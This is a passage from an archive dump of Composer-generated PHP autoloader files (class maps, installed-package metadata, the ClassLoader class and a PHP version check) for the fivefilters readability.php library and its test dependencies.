$vendorDir . '/phpunit/php-timer/src/exceptions/NoActiveTimerException.php', 'SebastianBergmann\\Timer\\ResourceUsageFormatter' => $vendorDir . '/phpunit/php-timer/src/ResourceUsageFormatter.php', 'SebastianBergmann\\Timer\\TimeSinceStartOfRequestNotAvailableException' => $vendorDir . '/phpunit/php-timer/src/exceptions/TimeSinceStartOfRequestNotAvailableException.php', 'SebastianBergmann\\Timer\\Timer' => $vendorDir . '/phpunit/php-timer/src/Timer.php', 'SebastianBergmann\\Type\\CallableType' => $vendorDir . '/sebastian/type/src/type/CallableType.php', 'SebastianBergmann\\Type\\Exception' => $vendorDir . '/sebastian/type/src/exception/Exception.php', 'SebastianBergmann\\Type\\FalseType' => $vendorDir . '/sebastian/type/src/type/FalseType.php', 'SebastianBergmann\\Type\\GenericObjectType' => $vendorDir . '/sebastian/type/src/type/GenericObjectType.php', 'SebastianBergmann\\Type\\IntersectionType' => $vendorDir . '/sebastian/type/src/type/IntersectionType.php', 'SebastianBergmann\\Type\\IterableType' => $vendorDir . '/sebastian/type/src/type/IterableType.php', 'SebastianBergmann\\Type\\MixedType' => $vendorDir . '/sebastian/type/src/type/MixedType.php', 'SebastianBergmann\\Type\\NeverType' => $vendorDir . '/sebastian/type/src/type/NeverType.php', 'SebastianBergmann\\Type\\NullType' => $vendorDir . '/sebastian/type/src/type/NullType.php', 'SebastianBergmann\\Type\\ObjectType' => $vendorDir . '/sebastian/type/src/type/ObjectType.php', 'SebastianBergmann\\Type\\ReflectionMapper' => $vendorDir . '/sebastian/type/src/ReflectionMapper.php', 'SebastianBergmann\\Type\\RuntimeException' => $vendorDir . '/sebastian/type/src/exception/RuntimeException.php', 'SebastianBergmann\\Type\\SimpleType' => $vendorDir . '/sebastian/type/src/type/SimpleType.php', 'SebastianBergmann\\Type\\StaticType' => $vendorDir . '/sebastian/type/src/type/StaticType.php', 'SebastianBergmann\\Type\\Type' => $vendorDir . '/sebastian/type/src/type/Type.php', 'SebastianBergmann\\Type\\TypeName' => $vendorDir . '/sebastian/type/src/TypeName.php', 'SebastianBergmann\\Type\\UnionType' => $vendorDir . '/sebastian/type/src/type/UnionType.php', 'SebastianBergmann\\Type\\UnknownType' => $vendorDir . '/sebastian/type/src/type/UnknownType.php', 'SebastianBergmann\\Type\\VoidType' => $vendorDir . '/sebastian/type/src/type/VoidType.php', 'SebastianBergmann\\Version' => $vendorDir . '/sebastian/version/src/Version.php', 'TheSeer\\Tokenizer\\Exception' => $vendorDir . '/theseer/tokenizer/src/Exception.php', 'TheSeer\\Tokenizer\\NamespaceUri' => $vendorDir . '/theseer/tokenizer/src/NamespaceUri.php', 'TheSeer\\Tokenizer\\NamespaceUriException' => $vendorDir . '/theseer/tokenizer/src/NamespaceUriException.php', 'TheSeer\\Tokenizer\\Token' => $vendorDir . '/theseer/tokenizer/src/Token.php', 'TheSeer\\Tokenizer\\TokenCollection' => $vendorDir . '/theseer/tokenizer/src/TokenCollection.php', 'TheSeer\\Tokenizer\\TokenCollectionException' => $vendorDir . '/theseer/tokenizer/src/TokenCollectionException.php', 'TheSeer\\Tokenizer\\Tokenizer' => $vendorDir . '/theseer/tokenizer/src/Tokenizer.php', 'TheSeer\\Tokenizer\\XMLSerializer' => $vendorDir . '/theseer/tokenizer/src/XMLSerializer.php', ); res/readability/vendor/composer/installed.php000064400000037043147577714370015477 0ustar00 array( 'pretty_version' => '1.0.0+no-version-set', 'version' => '1.0.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'reference' => NULL, 'name' => 'fivefilters/readability.php', 'dev' => true, ), 'versions' => array( 'doctrine/instantiator' => array( 'pretty_version' => '1.4.1', 'version' => '1.4.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../doctrine/instantiator', 'aliases' => array(), 'reference' => '10dcfce151b967d20fde1b34ae6640712c3891bc', 'dev_requirement' => true, ), 'fivefilters/readability.php' => array( 'pretty_version' => '1.0.0+no-version-set', 'version' => '1.0.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../../', 'aliases' => array(), 'reference' => NULL, 'dev_requirement' => false, ), 'league/uri' => array( 'pretty_version' => '6.5.0', 'version' => '6.5.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../league/uri', 'aliases' => array(), 'reference' => 'c68ca445abb04817d740ddd6d0b3551826ef0c5a', 'dev_requirement' => false, ), 'league/uri-interfaces' => array( 'pretty_version' => '2.3.0', 'version' => '2.3.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../league/uri-interfaces', 'aliases' => array(), 'reference' => '00e7e2943f76d8cb50c7dfdc2f6dee356e15e383', 'dev_requirement' => false, ), 'masterminds/html5' => array( 'pretty_version' => '2.7.5', 'version' => '2.7.5.0', 'type' => 'library', 'install_path' => __DIR__ . '/../masterminds/html5', 'aliases' => array(), 'reference' => 'f640ac1bdddff06ea333a920c95bbad8872429ab', 'dev_requirement' => false, ), 'monolog/monolog' => array( 'pretty_version' => '2.5.0', 'version' => '2.5.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../monolog/monolog', 'aliases' => array(), 'reference' => '4192345e260f1d51b365536199744b987e160edc', 'dev_requirement' => true, ), 'myclabs/deep-copy' => array( 'pretty_version' => '1.11.0', 'version' => '1.11.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../myclabs/deep-copy', 'aliases' => array(), 'reference' => '14daed4296fae74d9e3201d2c4925d1acb7aa614', 'dev_requirement' => true, ), 'nikic/php-parser' => array( 'pretty_version' => 'v4.13.2', 'version' => '4.13.2.0', 'type' => 'library', 'install_path' => __DIR__ . '/../nikic/php-parser', 'aliases' => array(), 'reference' => '210577fe3cf7badcc5814d99455df46564f3c077', 'dev_requirement' => true, ), 'phar-io/manifest' => array( 'pretty_version' => '2.0.3', 'version' => '2.0.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phar-io/manifest', 'aliases' => array(), 'reference' => '97803eca37d319dfa7826cc2437fc020857acb53', 'dev_requirement' => true, ), 'phar-io/version' => array( 'pretty_version' => '3.2.1', 'version' => '3.2.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phar-io/version', 'aliases' => array(), 'reference' => '4f7fd7836c6f332bb2933569e566a0d6c4cbed74', 'dev_requirement' => true, ), 'phpdocumentor/reflection-common' => array( 'pretty_version' => '2.2.0', 'version' => '2.2.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpdocumentor/reflection-common', 'aliases' => array(), 'reference' => '1d01c49d4ed62f25aa84a747ad35d5a16924662b', 'dev_requirement' => true, ), 'phpdocumentor/reflection-docblock' => array( 'pretty_version' => '5.3.0', 'version' => '5.3.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpdocumentor/reflection-docblock', 'aliases' => array(), 'reference' => '622548b623e81ca6d78b721c5e029f4ce664f170', 'dev_requirement' => true, ), 'phpdocumentor/type-resolver' => array( 'pretty_version' => '1.6.1', 'version' => '1.6.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpdocumentor/type-resolver', 'aliases' => array(), 'reference' => '77a32518733312af16a44300404e945338981de3', 'dev_requirement' => true, ), 'phpspec/prophecy' => array( 'pretty_version' => 'v1.15.0', 'version' => '1.15.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpspec/prophecy', 'aliases' => array(), 'reference' => 'bbcd7380b0ebf3961ee21409db7b38bc31d69a13', 'dev_requirement' => true, ), 'phpunit/php-code-coverage' => array( 'pretty_version' => '9.2.15', 'version' => '9.2.15.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpunit/php-code-coverage', 'aliases' => array(), 'reference' => '2e9da11878c4202f97915c1cb4bb1ca318a63f5f', 'dev_requirement' => true, ), 'phpunit/php-file-iterator' => array( 'pretty_version' => '3.0.6', 'version' => '3.0.6.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpunit/php-file-iterator', 'aliases' => array(), 'reference' => 'cf1c2e7c203ac650e352f4cc675a7021e7d1b3cf', 'dev_requirement' => true, ), 'phpunit/php-invoker' => array( 'pretty_version' => '3.1.1', 'version' => '3.1.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpunit/php-invoker', 'aliases' => array(), 'reference' => '5a10147d0aaf65b58940a0b72f71c9ac0423cc67', 'dev_requirement' => true, ), 'phpunit/php-text-template' => array( 'pretty_version' => '2.0.4', 'version' => '2.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpunit/php-text-template', 'aliases' => array(), 'reference' => '5da5f67fc95621df9ff4c4e5a84d6a8a2acf7c28', 'dev_requirement' => true, ), 'phpunit/php-timer' => array( 'pretty_version' => '5.0.3', 'version' => '5.0.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpunit/php-timer', 'aliases' => array(), 'reference' => '5a63ce20ed1b5bf577850e2c4e87f4aa902afbd2', 'dev_requirement' => true, ), 'phpunit/phpunit' => array( 'pretty_version' => '9.5.20', 'version' => '9.5.20.0', 'type' => 'library', 'install_path' => __DIR__ . '/../phpunit/phpunit', 'aliases' => array(), 'reference' => '12bc8879fb65aef2138b26fc633cb1e3620cffba', 'dev_requirement' => true, ), 'psr/http-message' => array( 'pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/http-message', 'aliases' => array(), 'reference' => 'f6561bf28d520154e4b0ec72be95418abe6d9363', 'dev_requirement' => false, ), 'psr/log' => array( 'pretty_version' => '1.1.4', 'version' => '1.1.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../psr/log', 'aliases' => array(), 'reference' => 'd49695b909c3b7628b6289db5479a1c204601f11', 'dev_requirement' => false, ), 'psr/log-implementation' => array( 'dev_requirement' => true, 'provided' => array( 0 => '1.0.0 || 2.0.0 || 3.0.0', ), ), 'sebastian/cli-parser' => array( 'pretty_version' => '1.0.1', 'version' => '1.0.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/cli-parser', 'aliases' => array(), 'reference' => '442e7c7e687e42adc03470c7b668bc4b2402c0b2', 'dev_requirement' => true, ), 'sebastian/code-unit' => array( 'pretty_version' => '1.0.8', 'version' => '1.0.8.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/code-unit', 'aliases' => array(), 'reference' => '1fc9f64c0927627ef78ba436c9b17d967e68e120', 'dev_requirement' => true, ), 'sebastian/code-unit-reverse-lookup' => array( 'pretty_version' => '2.0.3', 'version' => '2.0.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/code-unit-reverse-lookup', 'aliases' => array(), 'reference' => 'ac91f01ccec49fb77bdc6fd1e548bc70f7faa3e5', 'dev_requirement' => true, ), 'sebastian/comparator' => array( 'pretty_version' => '4.0.6', 'version' => '4.0.6.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/comparator', 'aliases' => array(), 'reference' => '55f4261989e546dc112258c7a75935a81a7ce382', 'dev_requirement' => true, ), 'sebastian/complexity' => array( 'pretty_version' => '2.0.2', 'version' => '2.0.2.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/complexity', 'aliases' => array(), 'reference' => '739b35e53379900cc9ac327b2147867b8b6efd88', 'dev_requirement' => true, ), 'sebastian/diff' => array( 'pretty_version' => '4.0.4', 'version' => '4.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/diff', 'aliases' => array(), 'reference' => '3461e3fccc7cfdfc2720be910d3bd73c69be590d', 'dev_requirement' => true, ), 'sebastian/environment' => array( 'pretty_version' => '5.1.4', 'version' => '5.1.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/environment', 'aliases' => array(), 'reference' => '1b5dff7bb151a4db11d49d90e5408e4e938270f7', 'dev_requirement' => true, ), 'sebastian/exporter' => array( 'pretty_version' => '4.0.4', 'version' => '4.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/exporter', 'aliases' => array(), 'reference' => '65e8b7db476c5dd267e65eea9cab77584d3cfff9', 'dev_requirement' => true, ), 'sebastian/global-state' => array( 'pretty_version' => '5.0.5', 'version' => '5.0.5.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/global-state', 'aliases' => array(), 'reference' => '0ca8db5a5fc9c8646244e629625ac486fa286bf2', 'dev_requirement' => true, ), 'sebastian/lines-of-code' => array( 'pretty_version' => '1.0.3', 'version' => '1.0.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/lines-of-code', 'aliases' => array(), 'reference' => 'c1c2e997aa3146983ed888ad08b15470a2e22ecc', 'dev_requirement' => true, ), 'sebastian/object-enumerator' => array( 'pretty_version' => '4.0.4', 'version' => '4.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/object-enumerator', 'aliases' => array(), 'reference' => '5c9eeac41b290a3712d88851518825ad78f45c71', 'dev_requirement' => true, ), 'sebastian/object-reflector' => array( 'pretty_version' => '2.0.4', 'version' => '2.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/object-reflector', 'aliases' => array(), 'reference' => 'b4f479ebdbf63ac605d183ece17d8d7fe49c15c7', 'dev_requirement' => true, ), 'sebastian/recursion-context' => array( 'pretty_version' => '4.0.4', 'version' => '4.0.4.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/recursion-context', 'aliases' => array(), 'reference' => 'cd9d8cf3c5804de4341c283ed787f099f5506172', 'dev_requirement' => true, ), 'sebastian/resource-operations' => array( 'pretty_version' => '3.0.3', 'version' => '3.0.3.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/resource-operations', 'aliases' => array(), 'reference' => '0f4443cb3a1d92ce809899753bc0d5d5a8dd19a8', 'dev_requirement' => true, ), 'sebastian/type' => array( 'pretty_version' => '3.0.0', 'version' => '3.0.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/type', 'aliases' => array(), 'reference' => 'b233b84bc4465aff7b57cf1c4bc75c86d00d6dad', 'dev_requirement' => true, ), 'sebastian/version' => array( 'pretty_version' => '3.0.2', 'version' => '3.0.2.0', 'type' => 'library', 'install_path' => __DIR__ . '/../sebastian/version', 'aliases' => array(), 'reference' => 'c6c1022351a901512170118436c764e473f6de8c', 'dev_requirement' => true, ), 'symfony/polyfill-ctype' => array( 'pretty_version' => 'v1.25.0', 'version' => '1.25.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../symfony/polyfill-ctype', 'aliases' => array(), 'reference' => '30885182c981ab175d4d034db0f6f469898070ab', 'dev_requirement' => true, ), 'theseer/tokenizer' => array( 'pretty_version' => '1.2.1', 'version' => '1.2.1.0', 'type' => 'library', 'install_path' => __DIR__ . '/../theseer/tokenizer', 'aliases' => array(), 'reference' => '34a41e998c2183e22995f158c581e7b5e755ab9e', 'dev_requirement' => true, ), 'webmozart/assert' => array( 'pretty_version' => '1.10.0', 'version' => '1.10.0.0', 'type' => 'library', 'install_path' => __DIR__ . '/../webmozart/assert', 'aliases' => array(), 'reference' => '6964c76c7804814a842473e0c8fd15bab0f18e25', 'dev_requirement' => true, ), ), ); res/readability/vendor/composer/ClassLoader.php000064400000037304147577714370015714 0ustar00 * Jordi Boggiano * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Composer\Autoload; /** * ClassLoader implements a PSR-0, PSR-4 and classmap class loader. * * $loader = new \Composer\Autoload\ClassLoader(); * * // register classes with namespaces * $loader->add('Symfony\Component', __DIR__.'/component'); * $loader->add('Symfony', __DIR__.'/framework'); * * // activate the autoloader * $loader->register(); * * // to enable searching the include path (eg. for PEAR packages) * $loader->setUseIncludePath(true); * * In this example, if you try to use a class in the Symfony\Component * namespace or one of its children (Symfony\Component\Console for instance), * the autoloader will first look for the class under the component/ * directory, and it will then fallback to the framework/ directory if not * found before giving up. * * This class is loosely based on the Symfony UniversalClassLoader. * * @author Fabien Potencier * @author Jordi Boggiano * @see https://www.php-fig.org/psr/psr-0/ * @see https://www.php-fig.org/psr/psr-4/ */ class ClassLoader { /** @var ?string */ private $vendorDir; // PSR-4 /** * @var array[] * @psalm-var array> */ private $prefixLengthsPsr4 = array(); /** * @var array[] * @psalm-var array> */ private $prefixDirsPsr4 = array(); /** * @var array[] * @psalm-var array */ private $fallbackDirsPsr4 = array(); // PSR-0 /** * @var array[] * @psalm-var array> */ private $prefixesPsr0 = array(); /** * @var array[] * @psalm-var array */ private $fallbackDirsPsr0 = array(); /** @var bool */ private $useIncludePath = false; /** * @var string[] * @psalm-var array */ private $classMap = array(); /** @var bool */ private $classMapAuthoritative = false; /** * @var bool[] * @psalm-var array */ private $missingClasses = array(); /** @var ?string */ private $apcuPrefix; /** * @var self[] */ private static $registeredLoaders = array(); /** * @param ?string $vendorDir */ public function __construct($vendorDir = null) { $this->vendorDir = $vendorDir; } /** * @return string[] */ public function getPrefixes() { if (!empty($this->prefixesPsr0)) { return call_user_func_array('array_merge', array_values($this->prefixesPsr0)); } return array(); } /** * @return array[] * @psalm-return array> */ public function getPrefixesPsr4() { return $this->prefixDirsPsr4; } /** * @return array[] * @psalm-return array */ public function getFallbackDirs() { return $this->fallbackDirsPsr0; } /** * @return array[] * @psalm-return array */ public function getFallbackDirsPsr4() { return $this->fallbackDirsPsr4; } /** * @return string[] Array of classname => path * @psalm-return array */ public function getClassMap() { return $this->classMap; } /** * @param string[] $classMap Class to filename map * @psalm-param array $classMap * * @return void */ public function addClassMap(array $classMap) { if ($this->classMap) { $this->classMap = array_merge($this->classMap, $classMap); } else { $this->classMap = $classMap; } } /** * Registers a set of PSR-0 directories for a given prefix, either * appending or prepending to the ones previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 root directories * @param bool $prepend Whether to prepend the directories * * @return void */ public function add($prefix, $paths, $prepend = false) { if (!$prefix) { if ($prepend) { $this->fallbackDirsPsr0 = array_merge( (array) $paths, $this->fallbackDirsPsr0 ); } else { $this->fallbackDirsPsr0 = array_merge( $this->fallbackDirsPsr0, (array) $paths ); } return; } $first = $prefix[0]; if (!isset($this->prefixesPsr0[$first][$prefix])) { $this->prefixesPsr0[$first][$prefix] = (array) $paths; return; } if ($prepend) { $this->prefixesPsr0[$first][$prefix] = array_merge( (array) $paths, $this->prefixesPsr0[$first][$prefix] ); } else { $this->prefixesPsr0[$first][$prefix] = array_merge( $this->prefixesPsr0[$first][$prefix], (array) $paths ); } } /** * Registers a set of PSR-4 directories for a given namespace, either * appending or prepending to the ones previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * @param bool $prepend Whether to prepend the directories * * @throws \InvalidArgumentException * * @return void */ public function addPsr4($prefix, $paths, $prepend = false) { if (!$prefix) { // Register directories for the root namespace. if ($prepend) { $this->fallbackDirsPsr4 = array_merge( (array) $paths, $this->fallbackDirsPsr4 ); } else { $this->fallbackDirsPsr4 = array_merge( $this->fallbackDirsPsr4, (array) $paths ); } } elseif (!isset($this->prefixDirsPsr4[$prefix])) { // Register directories for a new namespace. $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } elseif ($prepend) { // Prepend directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( (array) $paths, $this->prefixDirsPsr4[$prefix] ); } else { // Append directories for an already registered namespace. $this->prefixDirsPsr4[$prefix] = array_merge( $this->prefixDirsPsr4[$prefix], (array) $paths ); } } /** * Registers a set of PSR-0 directories for a given prefix, * replacing any others previously set for this prefix. * * @param string $prefix The prefix * @param string[]|string $paths The PSR-0 base directories * * @return void */ public function set($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr0 = (array) $paths; } else { $this->prefixesPsr0[$prefix[0]][$prefix] = (array) $paths; } } /** * Registers a set of PSR-4 directories for a given namespace, * replacing any others previously set for this namespace. * * @param string $prefix The prefix/namespace, with trailing '\\' * @param string[]|string $paths The PSR-4 base directories * * @throws \InvalidArgumentException * * @return void */ public function setPsr4($prefix, $paths) { if (!$prefix) { $this->fallbackDirsPsr4 = (array) $paths; } else { $length = strlen($prefix); if ('\\' !== $prefix[$length - 1]) { throw new \InvalidArgumentException("A non-empty PSR-4 prefix must end with a namespace separator."); } $this->prefixLengthsPsr4[$prefix[0]][$prefix] = $length; $this->prefixDirsPsr4[$prefix] = (array) $paths; } } /** * Turns on searching the include path for class files. * * @param bool $useIncludePath * * @return void */ public function setUseIncludePath($useIncludePath) { $this->useIncludePath = $useIncludePath; } /** * Can be used to check if the autoloader uses the include path to check * for classes. * * @return bool */ public function getUseIncludePath() { return $this->useIncludePath; } /** * Turns off searching the prefix and fallback directories for classes * that have not been registered with the class map. * * @param bool $classMapAuthoritative * * @return void */ public function setClassMapAuthoritative($classMapAuthoritative) { $this->classMapAuthoritative = $classMapAuthoritative; } /** * Should class lookup fail if not found in the current class map? * * @return bool */ public function isClassMapAuthoritative() { return $this->classMapAuthoritative; } /** * APCu prefix to use to cache found/not-found classes, if the extension is enabled. * * @param string|null $apcuPrefix * * @return void */ public function setApcuPrefix($apcuPrefix) { $this->apcuPrefix = function_exists('apcu_fetch') && filter_var(ini_get('apc.enabled'), FILTER_VALIDATE_BOOLEAN) ? $apcuPrefix : null; } /** * The APCu prefix in use, or null if APCu caching is not enabled. * * @return string|null */ public function getApcuPrefix() { return $this->apcuPrefix; } /** * Registers this instance as an autoloader. * * @param bool $prepend Whether to prepend the autoloader or not * * @return void */ public function register($prepend = false) { spl_autoload_register(array($this, 'loadClass'), true, $prepend); if (null === $this->vendorDir) { return; } if ($prepend) { self::$registeredLoaders = array($this->vendorDir => $this) + self::$registeredLoaders; } else { unset(self::$registeredLoaders[$this->vendorDir]); self::$registeredLoaders[$this->vendorDir] = $this; } } /** * Unregisters this instance as an autoloader. * * @return void */ public function unregister() { spl_autoload_unregister(array($this, 'loadClass')); if (null !== $this->vendorDir) { unset(self::$registeredLoaders[$this->vendorDir]); } } /** * Loads the given class or interface. * * @param string $class The name of the class * @return true|null True if loaded, null otherwise */ public function loadClass($class) { if ($file = $this->findFile($class)) { includeFile($file); return true; } return null; } /** * Finds the path to the file where the class is defined. * * @param string $class The name of the class * * @return string|false The path if found, false otherwise */ public function findFile($class) { // class map lookup if (isset($this->classMap[$class])) { return $this->classMap[$class]; } if ($this->classMapAuthoritative || isset($this->missingClasses[$class])) { return false; } if (null !== $this->apcuPrefix) { $file = apcu_fetch($this->apcuPrefix.$class, $hit); if ($hit) { return $file; } } $file = $this->findFileWithExtension($class, '.php'); // Search for Hack files if we are running on HHVM if (false === $file && defined('HHVM_VERSION')) { $file = $this->findFileWithExtension($class, '.hh'); } if (null !== $this->apcuPrefix) { apcu_add($this->apcuPrefix.$class, $file); } if (false === $file) { // Remember that this class does not exist. $this->missingClasses[$class] = true; } return $file; } /** * Returns the currently registered loaders indexed by their corresponding vendor directories. * * @return self[] */ public static function getRegisteredLoaders() { return self::$registeredLoaders; } /** * @param string $class * @param string $ext * @return string|false */ private function findFileWithExtension($class, $ext) { // PSR-4 lookup $logicalPathPsr4 = strtr($class, '\\', DIRECTORY_SEPARATOR) . $ext; $first = $class[0]; if (isset($this->prefixLengthsPsr4[$first])) { $subPath = $class; while (false !== $lastPos = strrpos($subPath, '\\')) { $subPath = substr($subPath, 0, $lastPos); $search = $subPath . '\\'; if (isset($this->prefixDirsPsr4[$search])) { $pathEnd = DIRECTORY_SEPARATOR . substr($logicalPathPsr4, $lastPos + 1); foreach ($this->prefixDirsPsr4[$search] as $dir) { if (file_exists($file = $dir . $pathEnd)) { return $file; } } } } } // PSR-4 fallback dirs foreach ($this->fallbackDirsPsr4 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr4)) { return $file; } } // PSR-0 lookup if (false !== $pos = strrpos($class, '\\')) { // namespaced class name $logicalPathPsr0 = substr($logicalPathPsr4, 0, $pos + 1) . strtr(substr($logicalPathPsr4, $pos + 1), '_', DIRECTORY_SEPARATOR); } else { // PEAR-like class name $logicalPathPsr0 = strtr($class, '_', DIRECTORY_SEPARATOR) . $ext; } if (isset($this->prefixesPsr0[$first])) { foreach ($this->prefixesPsr0[$first] as $prefix => $dirs) { if (0 === strpos($class, $prefix)) { foreach ($dirs as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } } } } // PSR-0 fallback dirs foreach ($this->fallbackDirsPsr0 as $dir) { if (file_exists($file = $dir . DIRECTORY_SEPARATOR . $logicalPathPsr0)) { return $file; } } // PSR-0 include paths. if ($this->useIncludePath && $file = stream_resolve_include_path($logicalPathPsr0)) { return $file; } return false; } } /** * Scope isolated include. * * Prevents access to $this/self from included files. * * @param string $file * @return void * @private */ function includeFile($file) { include $file; } res/readability/vendor/composer/platform_check.php000064400000001635147577714370016477 0ustar00= 70300)) { $issues[] = 'Your Composer dependencies require a PHP version ">= 7.3.0". You are running ' . PHP_VERSION . '.'; } if ($issues) { if (!headers_sent()) { header('HTTP/1.1 500 Internal Server Error'); } if (!ini_get('display_errors')) { if (PHP_SAPI === 'cli' || PHP_SAPI === 'phpdbg') { fwrite(STDERR, 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . implode(PHP_EOL, $issues) . PHP_EOL.PHP_EOL); } elseif (!headers_sent()) { echo 'Composer detected issues in your platform:' . PHP_EOL.PHP_EOL . str_replace('You are running '.PHP_VERSION.'.', '', implode(PHP_EOL, $issues)) . PHP_EOL.PHP_EOL; } } trigger_error( 'Composer detected issues in your platform: ' . implode(' ', $issues), E_USER_ERROR ); } res/readability/vendor/composer/autoload_namespaces.php000064400000000213147577714370017514 0ustar00 __DIR__ . '/..' . '/symfony/polyfill-ctype/bootstrap.php', '6124b4c8570aa390c21fafd04a26c69f' => __DIR__ . '/..' . '/myclabs/deep-copy/src/DeepCopy/deep_copy.php', 'ec07570ca5a812141189b1fa81503674' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Assert/Functions.php', ); public static $prefixLengthsPsr4 = array ( 'p' => array ( 'phpDocumentor\\Reflection\\' => 25, ), 'f' => array ( 'fivefilters\\Readability\\Test\\' => 29, 'fivefilters\\Readability\\' => 24, ), 'W' => array ( 'Webmozart\\Assert\\' => 17, ), 'S' => array ( 'Symfony\\Polyfill\\Ctype\\' => 23, ), 'P' => array ( 'Psr\\Log\\' => 8, 'Psr\\Http\\Message\\' => 17, 'Prophecy\\' => 9, 'PhpParser\\' => 10, ), 'M' => array ( 'Monolog\\' => 8, 'Masterminds\\' => 12, ), 'L' => array ( 'League\\Uri\\' => 11, ), 'D' => array ( 'Doctrine\\Instantiator\\' => 22, 'DeepCopy\\' => 9, ), ); public static $prefixDirsPsr4 = array ( 'phpDocumentor\\Reflection\\' => array ( 0 => __DIR__ . '/..' . '/phpdocumentor/reflection-common/src', 1 => __DIR__ . '/..' . '/phpdocumentor/type-resolver/src', 2 => __DIR__ . '/..' . '/phpdocumentor/reflection-docblock/src', ), 'fivefilters\\Readability\\Test\\' => array ( 0 => __DIR__ . '/../..' . '/test', ), 'fivefilters\\Readability\\' => array ( 0 => __DIR__ . '/../..' . '/src', ), 'Webmozart\\Assert\\' => array ( 0 => __DIR__ . '/..' . '/webmozart/assert/src', ), 'Symfony\\Polyfill\\Ctype\\' => array ( 0 => __DIR__ . '/..' . '/symfony/polyfill-ctype', ), 'Psr\\Log\\' => array ( 0 => __DIR__ . '/..' . '/psr/log/Psr/Log', ), 'Psr\\Http\\Message\\' => array ( 0 => __DIR__ . '/..' . '/psr/http-message/src', ), 'Prophecy\\' => array ( 0 => __DIR__ . '/..' . '/phpspec/prophecy/src/Prophecy', ), 'PhpParser\\' => array ( 0 => __DIR__ . '/..' . '/nikic/php-parser/lib/PhpParser', ), 'Monolog\\' => array ( 0 => __DIR__ . '/..' . '/monolog/monolog/src/Monolog', ), 'Masterminds\\' => array ( 0 => __DIR__ . '/..' . '/masterminds/html5/src', ), 'League\\Uri\\' => array ( 0 => __DIR__ . '/..' . '/league/uri-interfaces/src', 1 => __DIR__ . '/..' . '/league/uri/src', ), 'Doctrine\\Instantiator\\' => array ( 0 => __DIR__ . '/..' . '/doctrine/instantiator/src/Doctrine/Instantiator', ), 'DeepCopy\\' => array ( 0 => __DIR__ . '/..' . '/myclabs/deep-copy/src/DeepCopy', ), ); public static $classMap = array ( 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'PHPUnit\\Exception' => __DIR__ . '/..' . '/phpunit/phpunit/src/Exception.php', 'PHPUnit\\Framework\\ActualValueIsNotAnObjectException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ActualValueIsNotAnObjectException.php', 'PHPUnit\\Framework\\Assert' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Assert.php', 'PHPUnit\\Framework\\AssertionFailedError' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/AssertionFailedError.php', 'PHPUnit\\Framework\\CodeCoverageException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/CodeCoverageException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotAcceptParameterTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotAcceptParameterTypeException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareBoolReturnTypeException' => __DIR__ . '/..' . '/phpunit/phpunit/src/Framework/Exception/ComparisonMethodDoesNotDeclareBoolReturnTypeException.php', 'PHPUnit\\Framework\\ComparisonMethodDoesNotDeclareExactlyOneParameterException' => __DIR__ . '/..' . 